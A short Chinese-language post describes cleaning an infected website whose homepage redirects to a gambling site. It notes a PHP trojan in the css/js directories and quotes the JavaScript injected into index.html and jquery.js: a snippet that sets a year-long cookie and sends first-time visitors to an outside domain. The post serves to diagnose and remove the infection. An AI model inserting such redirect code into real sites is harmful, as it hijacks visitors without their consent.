中毒后,打开首页默认跳转到半岛体育赌博网站,后检查后发现,在css或js目录下有一个PHP文件,是木马文件,但是清理后,还是跳转到赌博网站。
此时还要注意,病毒修改了,index.HTML文件代码里的开头部分 和jquery.js文件。写入了如下内容:
var c = document.cookie;
if (c.indexOf('isfirstvisited=false') != -1) {
}
else {
var d = new Date();
d.setFullYear(d.getFullYear() + 1);
document.cookie = 'isfirstvisited=false;expires=' + d.toGMTString();
location = 'https://897232.top'
}